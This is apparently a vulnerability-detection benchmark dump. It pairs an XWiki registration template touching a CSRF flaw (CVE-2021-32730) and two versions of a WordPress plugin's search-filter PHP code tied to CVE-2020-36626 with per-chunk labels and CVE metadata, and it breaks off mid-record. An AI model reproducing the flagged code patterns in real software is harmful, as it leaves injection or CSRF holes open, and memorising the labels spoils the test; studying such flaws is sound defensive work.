[ "## ---------------------------------------------------------------------------\n## See the NOTICE file distributed with this work for additional\n## information regarding copyright ownership.\n##\n## This is free software; you can redistribute it and/or modify it\n## under the terms of the GNU Lesser General Public License as\n## published by the Free Software Foundation; either version 2.1 of\n## the License, or (at your option) any later version.\n##\n## This software is distributed in the hope that it will be useful,\n## but WITHOUT ANY WARRANTY; without even the implied warranty of\n## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n## Lesser General Public License for more details.\n##\n## You should have received a copy of the GNU Lesser General Public\n## License along with this software; if not, write to the Free\n## Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA\n## 02110-1301 USA, or see the FSF site: http://www.fsf.org.\n## ---------------------------------------------------------------------------\n## Defines what server generated error messages should look like\n## The error message when a field is entered incorrectly\n#set ($failureMessageParams = {'class': 'LV_validation_message LV_invalid'})\n## 'LV_validation_message LV_invalid' depends on this:\n$xwiki.get('ssfx').use('uicomponents/widgets/validation/livevalidation.css', true)\n##\n## The * next to the fields to denote they are mandatory.\n#set ($fieldMandatoryStar = {'class': 'xRequired'})\n##\n#macro (definePasswordFields, $fields, $passwordFieldName, $confirmPasswordFieldName, $passwordOptions)\n #set ($passwordRegexes = [])\n #if (\"$!passwordOptions\" == \"\")\n #set ($passwordLength = 6)\n #else\n #set ($passwordLength = $passwordOptions.passwordLength)\n #end\n #set ($patternLength = \"/.{\" + $passwordLength + \",}/\")\n #set ($passwordRegex =\n {\n 'pattern' : $patternLength,\n 'failureMessage' : $services.localization.render('platform.core.profile.passwd.instructionsPasswordLength', $passwordLength)\n })\n #set ($discard = $passwordRegexes.add($passwordRegex))\n #if ($passwordOptions.passwordRuleOneUpperCaseEnabled)\n #set ($passwordRegex =\n {\n 'pattern' : '/[A-Z]+/',\n 'failureMessage' : $services.localization.render('platform.core.profile.passwd.passwordMustContainUppercase')\n })\n #set ($discard = $passwordRegexes.add($passwordRegex))\n #end\n #if ($passwordOptions.passwordRuleOneLowerCaseEnabled)\n #set ($passwordRegex =\n {\n 'pattern' : '/[a-z]+/',\n 'failureMessage' : $services.localization.render('platform.core.profile.passwd.passwordMustContainLowercase')\n })\n #set ($discard = $passwordRegexes.add($passwordRegex))\n #end\n #if ($passwordOptions.passwordRuleOneNumberEnabled)\n #set ($passwordRegex =\n {\n 'pattern' : '/[0-9]+/',\n 'failureMessage' : $services.localization.render('platform.core.profile.passwd.passwordMustContainNumber')\n })\n #set ($discard = $passwordRegexes.add($passwordRegex))\n #end\n #if ($passwordOptions.passwordRuleOneSymbolEnabled)\n #set ($passwordRegex =\n {\n 'pattern' : '/\\W+/',\n 'failureMessage' : $services.localization.render('platform.core.profile.passwd.passwordMustContainSymbol')\n })\n #set ($discard = $passwordRegexes.add($passwordRegex))\n #end\n #set ($discard = $fields.add({\n 'name': $passwordFieldName,\n 'label': $services.localization.render('core.register.password'),\n 'params': {\n 'type': 'password',\n 'autocomplete': 'off',\n 'size': '60'\n },\n 'validate': {\n 'mandatory': {\n 'failureMessage': $services.localization.render('core.validation.required.message')\n },\n 'regexes': $passwordRegexes\n }\n }))\n##\n## The confirm password field, mandatory, must match password field, and must also be 6+ characters long.\n #set ($discard = $fields.add({\n 'name': $confirmPasswordFieldName,\n 'label': $services.localization.render('core.register.passwordRepeat'),\n 'params': {\n 'type': 'password',\n 'autocomplete': 'off',\n 'size': '60'\n },\n 'validate': {\n 'mandatory': {\n 'failureMessage': $services.localization.render('core.validation.required.message')\n },\n 'mustMatch': {\n 'name': $passwordFieldName,\n 'failureMessage': $services.localization.render('platform.core.profile.passwd.passwordMissmatch')\n }\n }\n }))\n#end\n##\n#*\n * Generate HTML form.\n *\n * @param $fields The array of fields to use for generating HTML code.\n * @param $request The request that is made by submitting the form.\n *#\n#macro (generateHtml, $fields, $request)\n ## Put the same values back into the fields (if is there any problem with a field from the request that is made).\n #getParams($fields, $request)\n <dl>\n #foreach ($field in $fields)\n #if ($field.name)\n #set ($fieldName = $field.name)\n #if ($field.label)\n #set ($label = $field.label)\n <dt><label for=\"$fieldName\">$label\n #if ($field.validate.mandatory)\n <span ##\n #foreach ($entry in $fieldMandatoryStar.entrySet())\n $entry.key=\"$entry.value\" ##\n #end\n >$services.localization.render('core.validation.required')</span>\n #end\n </label>\n </dt>\n #end\n ## If the field define its own html content, then use it directly.\n #if ($field.get('type') == 'html')\n <dd>$field.get('html')</dd>\n #else\n ## If no tag then default tag is <input>\n #if ($field.tag)\n #set ($tag = $field.tag)\n #else\n #set ($tag = 'input')\n #end\n <dd><$tag id=\"$fieldName\" ##\n #set ($params = $field.params)\n ## If no name parameter is specified, then we use the field name.\n #if (!$params.name)\n #set ($discard = $params.put('name', $fieldName))\n #end\n #foreach ($entry in $params.entrySet())\n ## If a parameter is specified as '' then we don't include it.\n #if ($entry.value != '')\n $entry.key=\"$escapetool.xml($entry.value)\" ##\n #end\n #end\n />\n #if ($field.error)\n <span ##\n #foreach ($entry in $failureMessageParams.entrySet())\n $entry.key=\"$entry.value\" ##\n #end\n >$field.error</span>\n #end\n </dd>\n #end\n #else\n $services.localization.render('xe.admin.registration.fieldWithNoName')\n #end\n #end\n </dl>", " <input type=\"hidden\" name=\"form_token\" value=\"$services.csrf.getToken()\" ∕>", " #generateJavascript($fields)\n#end\n##\n#macro (validateRegexJS $regex $fieldName)\n #set ($pattern = \"\")\n #if ($regex.jsPattern)\n #set ($pattern = $regex.jsPattern)\n #elseif ($regex.pattern)\n #set ($pattern = $regex.pattern)\n #end\n #set ($failMessage = \"\")\n #if ($regex.jsFailureMessage)\n #set ($failMessage = $regex.jsFailureMessage)\n #elseif ($regex.failureMessage)\n #set ($failMessage = $regex.failureMessage)\n #end\n #if ($pattern != '' && $failMessage != '' && !$regex.noscript)\n ${fieldName}Validator.add(Validate.Format, {pattern: $pattern, failureMessage: \"$failMessage\"});\n #end\n#end\n#*\n * Generate the Javascript for interacting with LiveValidation.\n *\n * @param $fields The array of fields which to validate.\n *###\n#macro (generateJavascript, $fields)\n ## Load only the JS since the CSS is loaded after the declaration of 'LV_validation_message LV_invalid'.\n #set ($discard = $xwiki.jsfx.use('uicomponents/widgets/validation/livevalidation_prototype.js'))\n <script>\n /* <![CDATA[ */\n var initRegistrationFormValidation = function() {\n ##\n #foreach ($field in $fields)\n #if ($field.validate && $field.name)\n #set ($validate = $field.validate)\n #if (($validate.mandatory && !$validate.mandatory.noscript)\n || ($validate.regex && !$validate.regex.noscript)\n || $validate.regexes\n || ($validate.mustMatch) && !$validate.mustMatch.noscript)\n #set ($fieldName = $field.name)\n #if ($validate.fieldOkayMessage)\n #set ($okayMessage = $validate.fieldOkayMessage)\n #elseif (!$validate.hideOkayMessage)\n #set ($okayMessage = $services.localization.render('core.validation.valid.message'))\n #else\n #set ($okayMessage = '')\n #end\n var ${fieldName}Validator = new LiveValidation(\"$fieldName\", {validMessage: \"$okayMessage\", wait: 500});\n ##\n #if ($validate.mandatory)\n #set ($mandatory = $validate.mandatory)\n #if ($mandatory.failureMessage && !$mandatory.noscript)\n ${fieldName}Validator.add(Validate.Presence, {failureMessage: \"$!mandatory.failureMessage\"});\n #end\n #end\n ##\n #if ($validate.mustMatch)\n #set ($mustMatch = $validate.mustMatch)\n #if ($mustMatch.name && $mustMatch.failureMessage && !$mustMatch.noscript)\n ${fieldName}Validator.add(Validate.Confirmation, {match: $$(\"input[name=$!mustMatch.name]\")[0], \n failureMessage: \"$!mustMatch.failureMessage\"});\n #end\n #end\n ##\n #if ($validate.regex)\n #set ($regex = $validate.regex)\n #validateRegexJS($regex $fieldName)\n #end\n #if ($validate.regexes)\n #foreach($regex in $validate.regexes)\n #validateRegexJS($regex $fieldName)\n #end\n #end\n #end\n #end\n #end\n };\n document.observe('xwiki:dom:loaded', initRegistrationFormValidation);\n document.observe('xwiki:dom:updated', function(event) {\n var container = (event && event.memo && event.memo.elements && event.memo.elements[0]) || $('body');\n if (container.down('form#register')) {\n initRegistrationFormValidation();\n }\n });// ]]>\n </script>\n#end\n#*\n * Get parameters from request so that values will be filled in if there is a mistake\n * in one of the entries. Entries will be returned to fields[n].params.value\n * Fields will not be returned if they have either noReturn or error specified.\n *\n * @param $fields The array of fields to get parameters for.\n * @param $request The request that is made, from which the params will be returned.\n *###\n#macro (getParams $fields, $request)\n #foreach ($field in $fields)\n #if ($field.name && $!request.get($field.name))\n #if (!$field.noReturn && !$field.error)\n #if (!$field.params)\n #set ($params = {})\n #set ($discard = $field.put('params', $params))\n #else\n #set ($params = $field.params)\n #end\n #set ($discard = $params.put('value', $request.get($field.name)))\n #end\n #end\n #end\n#end\n####### Validation macros #########\n#macro(validateRegex $fieldValue, $fieldName, $regex, $error)\n #if($regex.get('pattern') && $regex.get('failureMessage'))\n ## Make Java regexes more compatible with Perl/js style regexes by removing leading and trailing /\n #if($regex.get('pattern').length() > 1)\n #set($pattern = $regex.get('pattern'))\n #if($pattern.lastIndexOf('/') < $pattern.length() - 1)\n ERROR: In field: ${fieldName}: regex validation does not allow flags after the /, please fix [${pattern}].\n #end\n #set($pattern = $pattern.substring($mathtool.add(1, $pattern.indexOf('/')), $pattern.lastIndexOf('/')))\n #else\n ## I don't expect this but want to maintain compatibility.\n #set($pattern = $regex.get('pattern'))\n #end\n #if($regextool.find($value, $pattern).isEmpty())\n #set($error = $regex.get('failureMessage'))\n #end\n #elseif($regex.get('pattern'))\n ERROR: In field: ${fieldName}: regex validation must include failureMessage.\n #end\n#end\n#*\n * Server side validation, this is necessary for security and because not everyone has Javascript\n *\n * @param $fields The array of fields to validate.\n * @param $request An XWikiRequest object which made the register request, used to get parameters.\n *###\n#macro(validateFields, $fields, $request)\n #set ($allFieldsValid = true)\n #set ($allFieldsErrors = [])", " #if (!$services.csrf.isTokenValid($request.form_token))\n #set ($allFieldsValid = false)\n #set ($discard = $allFieldsErrors.add($services.localization.render('core.register.badCSRF')))\n #else\n #foreach($field in $fields)\n #if($field.get('validate') && $field.get('name'))\n #set($fieldName = $field.get('name'))\n #set($validate = $field.get('validate'))\n #set($error = '')\n #set($value = $request.get($fieldName))\n #if(\"$!value\" != '' || $field.get('type') == 'html')\n ##\n ## mustMatch validation\n #if($error == '' && $validate.get('mustMatch'))\n #set($mustMatch = $validate.get('mustMatch'))\n #if($mustMatch.get('name') && $mustMatch.get('failureMessage'))\n #if($request.get($fieldName) != $request.get($mustMatch.get('name')))\n #set($error = $mustMatch.get('failureMessage'))\n #end\n #else\n ERROR: In field: ${fieldName}: mustMatch validation required both name\n (of field which this field must match) and failureMessage.", " #end", " #end\n ##\n ## Regex validation\n ## We won't bother with regex validation if there is no entry, that would defeat the purpose of 'mandatory'\n #if($error == '' && $validate.get('regex') && $value && $value != '')\n #set($regex = $validate.get('regex'))", " #validateRegex($value, $fieldName, $regex, $error)\n #end", " ## List of regex validation\n #if($error == '' && $validate.get('regexes') && $value && $value != '')\n #set($regexes = $validate.get('regexes'))\n #foreach ($regex in $regexes)\n #validateRegex($value, $fieldName, $regex, $error)", " #end", " #end\n ##\n ## If regex and mustMatch validation passed, try programmatic validation\n #if($error == '' && $validate.get('programmaticValidation'))\n #set($pv = $validate.get('programmaticValidation'))\n #if($pv.get('code') && $pv.get('failureMessage'))\n #set($pvReturn = \"#evaluate($pv.get('code'))\")\n #if($pvReturn.indexOf('failed') != -1)\n #set($error = $pv.get('failureMessage'))\n #end\n #else\n ERROR: In field: ${fieldName}: programmaticValidation requires code and failureMessage\n #end\n #end\n #else\n ##\n ## If no content, check if content is mandatory\n #if($validate.get('mandatory'))\n #set($mandatory = $validate.get('mandatory'))\n #if($mandatory.get('failureMessage'))\n #set($error = $mandatory.get('failureMessage'))\n #else\n ERROR: In field: ${fieldName}: mandatory validation requires a failureMessage\n #end\n #end\n #end\n #if($error != '')\n #set($discard = $field.put('error', $error))\n #set ($discard = $allFieldsErrors.add($error))\n #set($allFieldsValid = false)\n #end\n #elseif(!$field.get('name'))\n ERROR: Field with no name.\n #end##if(validate)\n #end##loop\n #end ## CSRF check", "#end##macro", "#*\n * Get the configuration from the configuration object.\n *\n * @param $configDocumentName The name of the document to get the configuration from.\n *###\n#macro(loadConfig, $configDocumentName)\n #set($configurationClassName = 'XWiki.Registration')\n #set($configDocument = $xwiki.getDocument($configDocumentName))\n #set ($passwordOptions = {})\n #if(!$configDocument || !$configDocument.getObject($configurationClassName))\n ## No config document, load defaults.\n #set($heading = \"$services.localization.render('core.register.title')\")\n #set($welcomeMessage = \"$services.localization.render('core.register.welcome')\")\n #set($useLiveValidation = true)\n #set($defaultFieldOkayMessage = \"$services.localization.render('core.validation.valid.message')\")\n #set($loginButton = true)\n #set($defaultRedirect = \"$xwiki.getURL($services.model.resolveDocument('', 'default', $doc.documentReference.extractReference('WIKI')))\")\n #set($userFullName = \"$request.get('register_first_name') $request.get('register_last_name')\")\n #set($registrationSuccessMessage = '{{info}}$services.localization.render(\"core.register.successful\", [\"[[${userFullName}>>${userSpace}${userName}]]\", ${userName}]){{/info}}')\n #set($passwordOptions.passwordLength = 6)\n #set($passwordOptions.passwordRuleOneLowerCaseEnabled = false)\n #set($passwordOptions.passwordRuleOneUpperCaseEnabled = false)\n #set($passwordOptions.passwordRuleOneNumberEnabled = false)\n #set($passwordOptions.passwordRuleOneSymbolEnabled = false)\n #else\n #set($configObject = $configDocument.getObject($configurationClassName))\n #if ($xcontext.action == 'register')\n #set ($heading = \"(% id='document-title'%)((( = #evaluate($configObject.getProperty('heading').getValue()) = )))(%%)\")\n #else\n #set ($heading = \"= #evaluate($configObject.getProperty('heading').getValue()) =\")\n #end\n #set($welcomeMessage = \"#evaluate($configObject.getProperty('welcomeMessage').getValue())\")\n #if($configObject.getProperty('liveValidation_enabled').getValue() == 1)\n #set($useLiveValidation = true)\n #end\n #set($defaultFieldOkayMessage = \"#evaluate($configObject.getProperty('liveValidation_defaultFieldOkMessage').getValue())\")\n #if($configObject.getProperty('loginButton_enabled').getValue() == 1)\n #set($loginButton = true)\n #end\n #if($configObject.getProperty('loginButton_autoLogin_enabled').getValue() == 1)\n #set($autoLogin = true)\n #end\n #set($defaultRedirect = \"#evaluate($configObject.getProperty('defaultRedirect').getValue())\")\n #set($registrationSuccessMessage = \"$configObject.getProperty('registrationSuccessMessage').getValue()\")\n #if($configObject.getProperty('requireCaptcha').getValue() == 1)\n #set($requireCaptcha = true)\n #end\n #if($configObject.getProperty('passwordRuleOneLowerCaseEnabled').getValue() == 1)\n #set($passwordOptions.passwordRuleOneLowerCaseEnabled = true)\n #end\n #if($configObject.getProperty('passwordRuleOneUpperCaseEnabled').getValue() == 1)\n #set($passwordOptions.passwordRuleOneUpperCaseEnabled = true)\n #end\n #if($configObject.getProperty('passwordRuleOneNumberEnabled').getValue() == 1)\n #set($passwordOptions.passwordRuleOneNumberEnabled = true)\n #end\n #if($configObject.getProperty('passwordRuleOneSymbolEnabled').getValue() == 1)\n #set($passwordOptions.passwordRuleOneSymbolEnabled = true)\n #end\n #set($passwordOptions.passwordLength = $configObject.getProperty('passwordLength').getValue())\n #if (\"$!passwordOptions.passwordLength\" == \"\" || $passwordOptions.passwordLength <= 1)\n #set ($passwordOptions.passwordLength = 6)\n #end\n #end\n#end" ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
PreciseBugs
{"buggy_code_end_loc": [1631, 382], "buggy_code_start_loc": [1631, 174], "filenames": ["xwiki-platform-core/xwiki-platform-oldcore/src/main/resources/ApplicationResources.properties", "xwiki-platform-core/xwiki-platform-web/src/main/webapp/templates/register_macros.vm"], "fixing_code_end_loc": [1633, 388], "fixing_code_start_loc": [1632, 175], "message": "XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. A cross-site request forgery vulnerability exists in versions prior to 12.10.5, and in versions 13.0 through 13.1. It's possible for forge an URL that, when accessed by an admin, will reset the password of any user in XWiki. The problem has been patched in XWiki 12.10.5 and 13.2RC1. As a workaround, it is possible to apply the patch manually by modifying the `register_macros.vm` template.", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:xwiki:xwiki:*:*:*:*:*:*:*:*", "matchCriteriaId": "1D3FA811-A9C4-45F7-A876-BB5D69DA7BCE", "versionEndExcluding": "12.10.5", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:xwiki:xwiki:13.0:*:*:*:*:*:*:*", "matchCriteriaId": "E8ED2C6F-77E6-4B53-A52D-0CD7FA08AFD1", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:xwiki:xwiki:13.1:-:*:*:*:*:*:*", "matchCriteriaId": "333C6A66-CDCD-46DC-A095-74D35B076A78", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:xwiki:xwiki:13.1:rc1:*:*:*:*:*:*", "matchCriteriaId": "948446E0-E5D0-4711-A763-1A050967EB0D", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}], "descriptions": [{"lang": "en", "value": "XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. A cross-site request forgery vulnerability exists in versions prior to 12.10.5, and in versions 13.0 through 13.1. It's possible for forge an URL that, when accessed by an admin, will reset the password of any user in XWiki. The problem has been patched in XWiki 12.10.5 and 13.2RC1. As a workaround, it is possible to apply the patch manually by modifying the `register_macros.vm` template."}, {"lang": "es", "value": "Una plataforma XWiki es una plataforma wiki gen\u00e9rica que ofrece servicios en tiempo de ejecuci\u00f3n para las aplicaciones construidas sobre ella. Se presenta una vulnerabilidad de tipo cross-site request forgery en versiones anteriores a 12.10.5, y en versiones 13.0 hasta 13.1. Es posible falsificar una URL que, al ser accedida por un administrador, restablecer\u00e1 la contrase\u00f1a de cualquier usuario en XWiki. El problema ha sido parcheado en XWiki versiones 12.10.5 y 13.2RC1. Como soluci\u00f3n, es posible aplicar el parche manualmente modificando la plantilla \"register_macros.vm\""}], "evaluatorComment": null, "id": "CVE-2021-32730", "lastModified": "2021-07-09T13:58:12.373", "metrics": {"cvssMetricV2": [{"acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": {"accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0"}, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true}], "cvssMetricV30": null, "cvssMetricV31": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 5.7, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:N", "version": "3.1"}, "exploitabilityScore": 2.1, "impactScore": 3.6, "source": "nvd@nist.gov", "type": "Primary"}, {"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 5.7, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:N", "version": "3.1"}, "exploitabilityScore": 2.1, "impactScore": 3.6, "source": "security-advisories@github.com", "type": "Secondary"}]}, "published": "2021-07-01T18:15:07.733", "references": [{"source": "security-advisories@github.com", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/xwiki/xwiki-platform/commit/0a36dbcc5421d450366580217a47cc44d32f7257"}, {"source": "security-advisories@github.com", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-v9j2-q4q5-cxh4"}, {"source": "security-advisories@github.com", "tags": ["Exploit", "Issue Tracking", "Vendor Advisory"], "url": "https://jira.xwiki.org/browse/XWIKI-18315"}], "sourceIdentifier": "security-advisories@github.com", "vendorComments": null, "vulnStatus": "Analyzed", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-352"}], "source": "nvd@nist.gov", "type": "Primary"}, {"description": [{"lang": "en", "value": "CWE-352"}], "source": "security-advisories@github.com", "type": "Secondary"}]}, "github_commit_url": "https://github.com/xwiki/xwiki-platform/commit/0a36dbcc5421d450366580217a47cc44d32f7257"}, "type": "CWE-352"}
128
Determine whether the {function_name} code is vulnerable or not.
[ "<?php", "\nnamespace ModularContent;\nuse WP_Query;", "\n/**\n * Class SearchFilter\n *\n * @package ModularContent\n *\n * Filters search queries to include content entered into panels\n */\nclass SearchFilter {\n\tprivate $query = NULL;", "\tpublic function __construct( WP_Query $query ) {\n\t\t$this->query = $query;\n\t}", "\tpublic function set_hooks() {\n\t\t$this->query->set( 'panel_search_filter', true );\n\t\tadd_filter( 'posts_search', array( $this, 'add_post_content_filtered_to_search_sql' ), 1000, 2 );\n\t}", "\t/**\n\t * @param string $sql\n\t * @param WP_Query $query\n\t *\n\t * @return string\n\t */\n\tpublic function add_post_content_filtered_to_search_sql( $sql, $query ) {\n\t\tif ( $query->get( 'panel_search_filter' ) ) {\n\t\t\tglobal $wpdb;\n\t\t\tremove_filter( 'posts_search', array( $this, 'add_post_content_filtered_to_search_sql' ), 1000, 2 );", "\t\t\t\n\t\t\t$pattern = \"#OR \\($wpdb->posts.post_content LIKE '(.*?)'\\)#\";", "\t\t\t$sql = preg_replace_callback( $pattern, array( $this, 'replace_callback' ), $sql );\n\t\t}\n\t\treturn $sql;\n\t}", "\t/**\n\t * Duplicate the search SQL on the post_content field to also search the post_content_filtered field\n\t *\n\t * @param array $matches\n\t *\n\t * @return string\n\t */\n\tprivate function replace_callback( $matches ) {\n\t\tglobal $wpdb;\n\t\t$post_content = $matches[0];\n\t\t$post_content_filtered = str_replace( $wpdb->posts.'.post_content', $wpdb->posts.'.post_content_filtered', $post_content );\n\t\treturn $post_content.' '.$post_content_filtered;\n\t}\n}" ]
[ 1, 1, 1, 1, 1, 1, 0, 1, 1 ]
PreciseBugs
{"buggy_code_end_loc": [58], "buggy_code_start_loc": [37], "filenames": ["ModularContent/SearchFilter.php"], "fixing_code_end_loc": [58], "fixing_code_start_loc": [37], "message": "A vulnerability classified as critical has been found in Modern Tribe Panel Builder Plugin. Affected is the function add_post_content_filtered_to_search_sql of the file ModularContent/SearchFilter.php. The manipulation leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The name of the patch is 4528d4f855dbbf24e9fc12a162fda84ce3bedc2f. It is recommended to apply a patch to fix this issue. VDB-216738 is the identifier assigned to this vulnerability.", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:tri:panel_builder:*:*:*:*:*:wordpress:*:*", "matchCriteriaId": "07147564-2708-4777-83A0-B862FA720A2F", "versionEndExcluding": "2020-05-08", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}], "descriptions": [{"lang": "en", "value": "A vulnerability classified as critical has been found in Modern Tribe Panel Builder Plugin. Affected is the function add_post_content_filtered_to_search_sql of the file ModularContent/SearchFilter.php. The manipulation leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The name of the patch is 4528d4f855dbbf24e9fc12a162fda84ce3bedc2f. It is recommended to apply a patch to fix this issue. VDB-216738 is the identifier assigned to this vulnerability."}], "evaluatorComment": null, "id": "CVE-2020-36626", "lastModified": "2023-01-13T14:38:18.137", "metrics": {"cvssMetricV2": null, "cvssMetricV30": null, "cvssMetricV31": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.1"}, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "nvd@nist.gov", "type": "Primary"}, {"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "LOW", "baseScore": 5.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:L", "version": "3.1"}, "exploitabilityScore": 2.1, "impactScore": 3.4, "source": "cna@vuldb.com", "type": "Secondary"}]}, "published": "2022-12-27T15:15:11.310", "references": [{"source": "cna@vuldb.com", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/moderntribe/panel-builder/commit/4528d4f855dbbf24e9fc12a162fda84ce3bedc2f"}, {"source": "cna@vuldb.com", "tags": ["Exploit", "Patch", "Third Party Advisory"], "url": "https://github.com/moderntribe/panel-builder/pull/173"}, {"source": "cna@vuldb.com", "tags": ["Third Party Advisory"], "url": "https://vuldb.com/?id.216738"}], "sourceIdentifier": "cna@vuldb.com", "vendorComments": null, "vulnStatus": "Analyzed", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-79"}], "source": "nvd@nist.gov", "type": "Primary"}, {"description": [{"lang": "en", "value": "CWE-707"}, {"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-89"}], "source": "cna@vuldb.com", "type": "Secondary"}]}, "github_commit_url": "https://github.com/moderntribe/panel-builder/commit/4528d4f855dbbf24e9fc12a162fda84ce3bedc2f"}, "type": "CWE-79"}
129
Determine whether the {function_name} code is vulnerable or not.
[ "<?php", "\nnamespace ModularContent;\nuse WP_Query;", "\n/**\n * Class SearchFilter\n *\n * @package ModularContent\n *\n * Filters search queries to include content entered into panels\n */\nclass SearchFilter {\n\tprivate $query = NULL;", "\tpublic function __construct( WP_Query $query ) {\n\t\t$this->query = $query;\n\t}", "\tpublic function set_hooks() {\n\t\t$this->query->set( 'panel_search_filter', true );\n\t\tadd_filter( 'posts_search', array( $this, 'add_post_content_filtered_to_search_sql' ), 1000, 2 );\n\t}", "\t/**\n\t * @param string $sql\n\t * @param WP_Query $query\n\t *\n\t * @return string\n\t */\n\tpublic function add_post_content_filtered_to_search_sql( $sql, $query ) {\n\t\tif ( $query->get( 'panel_search_filter' ) ) {\n\t\t\tglobal $wpdb;\n\t\t\tremove_filter( 'posts_search', array( $this, 'add_post_content_filtered_to_search_sql' ), 1000, 2 );", "\n\t\t\t$pattern = \"#OR \\($wpdb->posts.post_content LIKE '{(.*?)}'\\)#\";", "\t\t\t$sql = preg_replace_callback( $pattern, array( $this, 'replace_callback' ), $sql );\n\t\t}\n\t\treturn $sql;\n\t}", "\t/**\n\t * Duplicate the search SQL on the post_content field to also search the post_content_filtered field\n\t *\n\t * @param array $matches\n\t *\n\t * @return string\n\t */\n\tprivate function replace_callback( $matches ) {\n\t\tglobal $wpdb;\n\t\t$post_content = $matches[0];\n\t\t$post_content_filtered = str_replace( $wpdb->posts.'.post_content', $wpdb->posts.'.post_content_filtered', $post_content );\n\t\treturn $post_content.' '.$post_content_filtered;\n\t}\n}" ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
PreciseBugs
{"buggy_code_end_loc": [58], "buggy_code_start_loc": [37], "filenames": ["ModularContent/SearchFilter.php"], "fixing_code_end_loc": [58], "fixing_code_start_loc": [37], "message": "A vulnerability classified as critical has been found in Modern Tribe Panel Builder Plugin. Affected is the function add_post_content_filtered_to_search_sql of the file ModularContent/SearchFilter.php. The manipulation leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The name of the patch is 4528d4f855dbbf24e9fc12a162fda84ce3bedc2f. It is recommended to apply a patch to fix this issue. VDB-216738 is the identifier assigned to this vulnerability.", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:tri:panel_builder:*:*:*:*:*:wordpress:*:*", "matchCriteriaId": "07147564-2708-4777-83A0-B862FA720A2F", "versionEndExcluding": "2020-05-08", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}], "descriptions": [{"lang": "en", "value": "A vulnerability classified as critical has been found in Modern Tribe Panel Builder Plugin. Affected is the function add_post_content_filtered_to_search_sql of the file ModularContent/SearchFilter.php. The manipulation leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The name of the patch is 4528d4f855dbbf24e9fc12a162fda84ce3bedc2f. It is recommended to apply a patch to fix this issue. VDB-216738 is the identifier assigned to this vulnerability."}], "evaluatorComment": null, "id": "CVE-2020-36626", "lastModified": "2023-01-13T14:38:18.137", "metrics": {"cvssMetricV2": null, "cvssMetricV30": null, "cvssMetricV31": [{"cvssData": 